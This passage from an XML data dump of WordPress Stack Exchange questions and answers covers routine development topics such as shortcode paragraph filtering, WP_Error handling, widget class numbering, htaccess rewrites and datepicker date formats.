  <row Id="11126" PostTypeId="2" ParentId="11112" CreationDate="2011-03-04T11:42:55.170" Score="1" ViewCount="" Body="&lt;p&gt;that is the normal way for it to work, when you save it turns the markdown text to html, so when you edit you need to reverse the html back to markdown text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is an outdated plugin that has most of the functions you need it &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-for-wordpress-and-bbpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/markdown-for-wordpress-and-bbpress/&lt;/a&gt;&#xA;that would be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T11:42:55.170" CommentCount="2" />
  <row Id="11128" PostTypeId="2" ParentId="11009" CreationDate="2011-03-04T11:47:00.363" Score="2" ViewCount="" Body="&lt;p&gt;Ok I have cracked it, by spoofing the $_SERVER variable and pre-defing some constants, I was able to prevent Wordpress from redirecting after the inclusion of wp-load.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_USE_THEMES', false);&#xA;define( 'DOMAIN_CURRENT_SITE', $siteRow['domain'] );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', $siteRow['wp_blog_id'] );&#xA;&#xA;$_SERVER = array(&#xA;    &quot;HTTP_HOST&quot; =&amp;gt; $siteRow['domain'],&#xA;    &quot;SERVER_NAME&quot; =&amp;gt; $siteRow['domain'],&#xA;    &quot;REQUEST_URI&quot; =&amp;gt; &quot;/&quot;,&#xA;    &quot;REQUEST_METHOD&quot; =&amp;gt; &quot;GET&quot;&#xA;);&#xA;&#xA;require_once WP_PATH.'wp-load.php';&#xA;switch_to_blog($siteRow['wp_blog_id']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$siteRow contains details about the target site. &lt;strong&gt;Note&lt;/strong&gt;: This cannot be inside a function due to global variable restraints.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-04-27T13:21:21.587" LastActivityDate="2011-04-27T13:21:21.587" />
  <row Id="11130" PostTypeId="2" ParentId="10168" CreationDate="2011-03-04T12:04:23.640" Score="0" ViewCount="" Body="&lt;p&gt;I was attempting the same thing as asked in this question and could not get around the redirect until I spoofed the $_SERVER vars before I included wp-load.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_USE_THEMES', false);&#xA;define( 'DOMAIN_CURRENT_SITE', $siteRow['domain'] );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', $siteRow['wp_blog_id'] );&#xA;&#xA;$_SERVER = array(&#xA;    &quot;HTTP_HOST&quot; =&amp;gt; $siteRow['domain'],&#xA;    &quot;SERVER_NAME&quot; =&amp;gt; $siteRow['domain'],&#xA;    &quot;REQUEST_URI&quot; =&amp;gt; &quot;/&quot;,&#xA;    &quot;REQUEST_METHOD&quot; =&amp;gt; &quot;GET&quot;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $siteRow array is my own site config, update the variables with what you need.&#xA;No redirect, and all WP functions at your disposal! Enjoy.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-03-04T12:04:23.640" />
  <row Id="11131" PostTypeId="2" ParentId="11083" CreationDate="2011-03-04T12:08:33.323" Score="2" ViewCount="" Body="&lt;p&gt;From quick look at source mechanics seem very similar, my first suggestion for WP would be to try and bump HTTP transport to curl (I do it with plugin in WP so no idea about specific code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;curl seems to be considerably more robust for corner cases and it's not WP's first choice.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T12:08:33.323" CommentCount="3" />
  <row Id="11132" PostTypeId="2" ParentId="11071" CreationDate="2011-03-04T12:20:04.297" Score="1" ViewCount="" Body="&lt;p&gt;You can use client blogging tools such as&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.red-sweater.com/marsedit/&quot; rel=&quot;nofollow&quot;&gt;Mars Edit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This might get round their objections - Live Writer can definitely preview using site stylesheets&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-04T12:20:04.297" />
  <row Id="11133" PostTypeId="1" CreationDate="2011-03-04T12:45:09.513" Score="0" ViewCount="202" Body="&lt;p&gt;This is (hopefully) the last of a few questions about setting up a taxonomy filter for custom posts in Wordpress 3.1. This is my code so far (big thanks to t31os for his help with tweaking this script so far):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pastie.org/1632301&quot; rel=&quot;nofollow&quot;&gt;http://www.pastie.org/1632301&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get paging to work, but am stuck. Paging works when you first visit the archive page for events i.e. /events/, but the minute you submit the form, paging ceases to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see why that might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-03-04T12:45:09.513" Title="WP 3.1 paging issue on taxonomy filter form" Tags="&lt;custom-taxonomy&gt;&lt;3.1&gt;&lt;form&gt;" FavoriteCount="0" />
  <row Id="11134" PostTypeId="1" AcceptedAnswerId="11137" CreationDate="2011-03-04T12:48:52.090" Score="1" ViewCount="145" Body="&lt;p&gt;I coded a wordpress shortcode for columns that basically inserts html via a shortcode. Problem is that wpautop adds stray p elements that renders the code invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test put this into your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function static_col_container($atts, $content) {&#xA;    extract(shortcode_atts(array(&#xA;        'foo' =&amp;gt; 'bar'&#xA;    ), $atts));&#xA;&#xA;    $content = do_shortcode($content);&#xA;    $container = '&amp;lt;div class=&quot;static-column-container&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;    return $container;&#xA;}&#xA;&#xA;add_shortcode('static-cont', 'static_col_container');&#xA;&#xA;function static_col($atts, $content) {&#xA;    extract(shortcode_atts(array(&#xA;    'space' =&amp;gt; '2',&#xA;    'class' =&amp;gt; ''&#xA;    ), $atts));&#xA;&#xA;    $content = do_shortcode($content);&#xA;    $column_container = '&amp;lt;div class=&quot;static-column static-column-' . $space . ' ' . $class . '&quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;&#xA;    return $column_container;&#xA;}&#xA;&#xA;add_shortcode('static-col', 'static_col');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[static-cont]&#xA;    [static-col]&#xA;       put some content here...&#xA;    [/static-col]&#xA;    [static-col]&#xA;       put some content here...&#xA;    [/static-col]&#xA;[/static-cont]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that Wordpress uses wpautop to insert p tags which can be disabled via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content', 'wpautop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is that now you have to enter every single p element yourself, which is a pain and makes the visual editor useless. Has anybody found a better solution?&lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-06-29T00:10:21.920" Title="stray &lt;p&gt; elements" Tags="&lt;plugin-development&gt;&lt;shortcode&gt;&lt;validation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11135" PostTypeId="1" AcceptedAnswerId="11140" CreationDate="2011-03-04T13:07:48.397" Score="1" ViewCount="63" Body="&lt;p&gt;I post my codes from different programing languages. Now, I want to highlight syntax of codes with different colors. But, doing it manually is time consuming. Is there any plugin or method which could do this automatically? Strictly, it should be done in CSS way.&lt;/p&gt;&#xA;" OwnerUserId="3411" LastActivityDate="2011-03-04T13:41:24.713" Title="How to automatically highlight syntax of code in a post?" Tags="&lt;themes&gt;&lt;posts&gt;&lt;design&gt;&lt;styles&gt;" AnswerCount="2" />
  <row Id="11137" PostTypeId="2" ParentId="11134" CreationDate="2011-03-04T13:24:21.217" Score="5" ViewCount="" Body="&lt;p&gt;Remove the filter from the the_content and run it after the shortcode are processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'wpautop' );&#xA;add_filter( 'the_content', 'wpautop' , 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usually shortcodes are processed after wpautop is applied to the content. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/shortcodes.php#L296&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/shortcodes.php#L296&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-04T13:24:21.217" CommentCount="1" />
  <row Id="11138" PostTypeId="1" CreationDate="2011-03-04T13:36:23.437" Score="0" ViewCount="118" Body="&lt;p&gt;The functionality that I require is to accept a one time fee from visitors that gives them the access to upload photos for a competition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this needs to be with Sagepay, not paypal.&lt;br&gt;&#xA;I wanted to use gravity forms but it doesn't have an extension for sagepay, so I was thinking a membership plugin like s2member or wishlist. anyone have experience with this cart and membership plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone heard of Magic member? It says they support sagepay, but I don't know if it's any good and if it will serve the purpose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-03-04T13:47:14.097" LastActivityDate="2011-03-04T13:47:14.097" Title="integrate sagepay with wordpress" Tags="&lt;plugins&gt;" />
  <row Id="11139" PostTypeId="2" ParentId="11135" CreationDate="2011-03-04T13:41:05.803" Score="2" ViewCount="" Body="&lt;p&gt;There are many plugins for that mostly based on shortcodes i use either &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Google Syntax Highlighter for WordPress&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-syntax-highlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-syntax-highlighter/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;SyntaxHighlighter Evolved &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-04T13:41:05.803" />
  <row Id="11140" PostTypeId="2" ParentId="11135" CreationDate="2011-03-04T13:41:24.713" Score="2" ViewCount="" Body="&lt;p&gt;There's a whole bunch of plugins that do that. After some reading i decided to go with &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;Syntax Highlighter Evolved&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-04T13:41:24.713" />
  <row Id="11141" PostTypeId="1" AcceptedAnswerId="11142" CreationDate="2011-03-04T13:58:48.987" Score="3" ViewCount="258" Body="&lt;p&gt;I am running some of the WP functions directly inside a plugin, including wp_insert_post(), if something goes wrong, this returns a WP Error object, what is the correct method to catch this error? Either using built in WP functions or PHP exceptions or whatnot..&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-04-19T21:02:20.563" Title="How to catch/what to do with a WP Error Object" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="11142" PostTypeId="2" ParentId="11141" CreationDate="2011-03-04T14:08:02.427" Score="5" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign return of the function to the variable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the variable with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_wp_error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_wp_error()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If &lt;code&gt;true&lt;/code&gt; handle accordingly, for example &lt;a href=&quot;http://php.net/manual/en/function.trigger-error.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;trigger_error()&lt;/code&gt;&lt;/a&gt; with message from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Error#Methods&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Error-&amp;gt;get_error_message()&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If &lt;code&gt;false&lt;/code&gt; - proceed as usual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example from Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doer_of_stuff() {&#xA;  return  new WP_Error('broke', __(&quot;I've fallen and can't get up&quot;));&#xA;}&#xA;&#xA;$return = doer_of_stuff();&#xA;if ( is_wp_error($return) )&#xA;   echo $return-&amp;gt;get_error_message();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T14:08:02.427" />
  <row Id="11143" PostTypeId="2" ParentId="11141" CreationDate="2011-03-04T14:13:19.427" Score="3" ViewCount="" Body="&lt;p&gt;Hei,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first, you check weather your result is a &lt;code&gt;WP_Error&lt;/code&gt; object or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = wp_insert_post(...);&#xA;if (is_wp_error($id)) {&#xA;    $errors = $id-&amp;gt;get_error_messages();&#xA;    foreach ($errors as $error) {&#xA;        echo $error; //this is just an example and generally not a good idea, you should implement means of processing the errors further down the track and using WP's error/message hooks to display them&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the usual way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the WP_Error object can be instanciated without any error occuring, just to act as a general error store just in case. If you want to do so, you can check if there are any errors by using &lt;code&gt;get_error_code()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_func() {&#xA;    $errors = new WP_Error();&#xA;    ... //we do some stuff&#xA;    if (....) $errors-&amp;gt;add('1', 'My custom error'); //under some condition we store an error&#xA;    .... //we do some more stuff&#xA;    if (...) $errors-&amp;gt;add('5', 'My other custom error'); //under some condition we store another error&#xA;    .... //and we do more stuff&#xA;    if ($errors-&amp;gt;get_error_code()) return $errors; //the following code is vital, so before continuing we need to check if there's been errors...if so, return the error object&#xA;    .... // do vital stuff&#xA;    return $my_func_result; // return the real result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do that, you can then check for an process the returned error just as in the &lt;code&gt;wp_insert_post()&lt;/code&gt; example above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Class is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Error&quot; rel=&quot;nofollow&quot;&gt;documented on the Codex&lt;/a&gt;.&lt;br&gt;&#xA;And there's also &lt;a href=&quot;http://weblogtoolscollection.com/archives/2008/05/04/error-management-for-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;a little article here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-04T14:18:25.180" LastActivityDate="2011-03-04T14:18:25.180" />
  <row Id="11144" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T14:13:28.707" Score="1" ViewCount="" Body="&lt;p&gt;Help them understand that generally speaking, designing for WordPress isn't really any harder than what they're used to. Do they use &quot;Lorem ipsum&quot; text as a placeholder? They'll do the same thing, except instead of &quot;Lorem ipsum&quot;, they'll put &lt;code&gt;&amp;lt;?php the_content();?&amp;gt;&lt;/code&gt;, and WordPress will fill that in with the real content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's really not &lt;em&gt;that&lt;/em&gt; much new stuff to learn. Once you get used to how the header, footer, sidebar, and main template files fit together, and understand the basics of how WordPress uses each template (the Template Hierarchy), it's easy peasy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are helper extensions they can install in Dreamweaver for working with WP themes, too. So they can still use the tool they are accustomed to.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-04T14:13:28.707" CommentCount="1" />
  <row Id="11145" PostTypeId="1" AcceptedAnswerId="11148" CreationDate="2011-03-04T14:22:58.780" Score="1" ViewCount="94" Body="&lt;p&gt;My sidebar widget code in functions.php looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;register_sidebar(array(&#xA;    'name' =&amp;gt; 'Home Sidebar',&#xA;    'id' =&amp;gt; 'home-sidebar-widget',&#xA;    'before_widget' =&amp;gt; '&amp;lt;div class=&quot;menu side %2$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h4 class=&quot;sidebarTitle&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h4&amp;gt;',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which creates this markup on the site...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu side widget_text&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;widget 1 title&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;textwidget&quot;&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;menu side widget_text&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;widget 2 title&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;textwidget&quot;&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I need (just adding a number to the class collection)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu side s1 widget_text&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;widget 1 title&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;textwidget&quot;&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;menu side s2 widget_text&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;widget 2 title&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;div class=&quot;textwidget&quot;&amp;gt;Lorem ipsum dolor sit amet&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add a count variable so that each sidebar gets a number that I can then use for css targeting. How?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-04T15:27:22.807" LastActivityDate="2011-03-04T16:46:36.560" Title="How can I add an incremental class identifier to my sidebar widgets?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="11146" PostTypeId="1" CreationDate="2011-03-04T14:30:36.547" Score="1" ViewCount="46" Body="&lt;p&gt;I'm using a feed aggregator combined with an auto-tagger for tracking words in a stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP-Cumulus to generate a pretty tag cloud based on these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to keep the tag cloud &quot;fresh&quot;, at the moment it's showing &quot;all-time&quot; tag use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to show tag use for, for example, the 100 newest entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, I think I might do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write a bit of php that deletes all entries except the 100 newest entries, when there are more than 100 entries.&lt;/li&gt;&#xA;&lt;li&gt;Trigger re-count of tags.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will this work? How can I trigger a re-count? Does it happen with every new post? Or am I doing it all wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your advice.&lt;/p&gt;&#xA;" OwnerUserId="3702" LastActivityDate="2011-03-04T14:38:42.367" Title="When are tags counted? Can it be trigered manually?" Tags="&lt;tags&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="11147" PostTypeId="2" ParentId="11146" CreationDate="2011-03-04T14:38:42.367" Score="2" ViewCount="" Body="&lt;p&gt;You can call &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/taxonomy.php#L2378&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_term_count_now( $terms, $taxonomy )&lt;/code&gt;&lt;/a&gt; to update the term count for the specified terms (you will need to pass an array of all terms if you want to update them all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use your own function instead of the standard function (which counts all posts), you can set the &lt;code&gt;update_count_callback&lt;/code&gt; of the taxonomy. The function you specify here will be used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, the tags are configured like any other (custom) taxonomy, so you can change their parameters too. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/taxonomy.php#L31&quot; rel=&quot;nofollow&quot;&gt;It is registered&lt;/a&gt; in the global &lt;code&gt;$wp_taxonomies&lt;/code&gt; array with the &lt;code&gt;post_tag&lt;/code&gt; key.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-04T14:38:42.367" CommentCount="2" />
  <row Id="11148" PostTypeId="2" ParentId="11145" CreationDate="2011-03-04T15:02:07.873" Score="4" ViewCount="" Body="&lt;p&gt;There doesn't seem to be an easy way to do this. However, you can try this rather hackish approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('dynamic_sidebar_params', 'my_sidebar_params_cb');&#xA;&#xA;function my_sidebar_params_cb($params) {&#xA;    global $my_widget_counter;&#xA;    if (empty($my_widget_counter)) $my_widget_counter = 1;&#xA;    else $my_widget_counter++;&#xA;    $params[0]['before_widget'] = str_replace('class=&quot;', 'class=&quot;widget_nr_'.$my_widget_counter.' ', $params[0]['before_widget']);&#xA;    return $params;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-04T16:46:36.560" LastActivityDate="2011-03-04T16:46:36.560" CommentCount="4" />
  <row Id="11149" PostTypeId="1" CreationDate="2011-03-04T15:18:00.290" Score="0" ViewCount="842" Body="&lt;p&gt;I have another PHP application in a folder named &lt;code&gt;app&lt;/code&gt; inside my Wordpress installation, and I need to disable all Wordpress rewrite rules for that folder and it's content. So that when I go to &lt;code&gt;www.domain.com/app&lt;/code&gt; I get my application page, instead of the standard Wordpress 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is pretty basic apache rewrite rules, and i searched for this, tried some things and didn't work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost forgot, i need to do this only by editing Wordpress htaccess file. And the app has it's own htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: htaccess content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Application htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex index.php&#xA;&amp;lt;FilesMatch &quot;\.(php|inc)$&quot;&amp;gt;&#xA;Order allow,deny&#xA;deny from all&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;FilesMatch &quot;(index.php|download.php)$&quot;&amp;gt;&#xA;Order allow,deny&#xA;allow from all&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These rules don't do much, they basically deny access to all &lt;code&gt;PHP&lt;/code&gt; and &lt;code&gt;INC&lt;/code&gt; file types, except &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;download.php&lt;/code&gt;. Which are the ones the user needs to access, the rest of them are classes used internally by &lt;code&gt;PHP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3: Resolution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turns out, there was nothing wrong with the Wordpress &lt;code&gt;htaccess&lt;/code&gt; or the application, after turning error reporting on remote hosting server, PHP reported a corrupted file, once replaced, all started to work well. My thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/3637/wietse-venema&quot;&gt;Wietse Venema&lt;/a&gt; for the suggestion.&lt;/p&gt;&#xA;" OwnerUserId="3704" LastEditorUserId="3704" LastEditorDisplayName="" LastEditDate="2011-03-04T23:03:47.757" LastActivityDate="2011-03-04T23:03:47.757" Title="htaccess disable Wordpress rewrite rules for folder and its contents" Tags="&lt;htaccess&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="11150" PostTypeId="2" ParentId="11052" CreationDate="2011-03-04T15:29:28.237" Score="4" ViewCount="" Body="&lt;p&gt;Firstly you'll need to stop storing the dates in &lt;code&gt;D d.m&lt;/code&gt; format, the queries aren't going to be able to sort based on that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As wyrfel pointed out, you'll need to use the alternate field option to have two fields, one that shows the pretty(or your chosen) date format, and another that holds the value you store in the DB(in a format that the queries can sort on correctly, like &lt;code&gt;yy-mm-dd&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the one line of code you posted, give this a shot..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP/HTML:&lt;/strong&gt; (to replace the code you posted)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$date_valid = false;&#xA;if( isset( $_POST[$result-&amp;gt;field_name] ) ) {&#xA;    $date_parts = explode( '-', $_POST[$result-&amp;gt;field_name] );&#xA;    $date_valid = ( 3 == count( $date_parts ) ) &#xA;        // Validate date - checkdate returns true/false&#xA;        ? checkdate( $date_parts[1], $date_parts[2], $date_parts[0] ) &#xA;        : false;&#xA;}&#xA;$display_date = ( $date_valid ) ? date( 'D d.m', strtotime( implode( '-', $date_parts ) ) ) : '';&#xA;$storage_date = ( $date_valid ) ? $_POST[$result-&amp;gt;field_name] : '';&#xA;$req =  $result-&amp;gt;field_req ? ' required' : '';&#xA;?&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo $display_date; ?&amp;gt;&quot; class=&quot;datepicker&amp;lt;?php echo $req ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input name=&quot;&amp;lt;?php echo $result-&amp;gt;field_name; ?&amp;gt;&quot; type=&quot;hidden&quot; value=&quot;&amp;lt;?php echo $storage_date; ?&amp;gt;&quot; class=&quot;date_alternate&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Datepicker jQuery:&lt;/strong&gt; (just pull what you need from this)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;    $( &quot;.datepicker&quot; ).datepicker({&#xA;        dateFormat: 'D d.m',&#xA;        altField: &quot;.date_alternate&quot;,&#xA;        altFormat: &quot;yy-mm-dd&quot;&#xA;    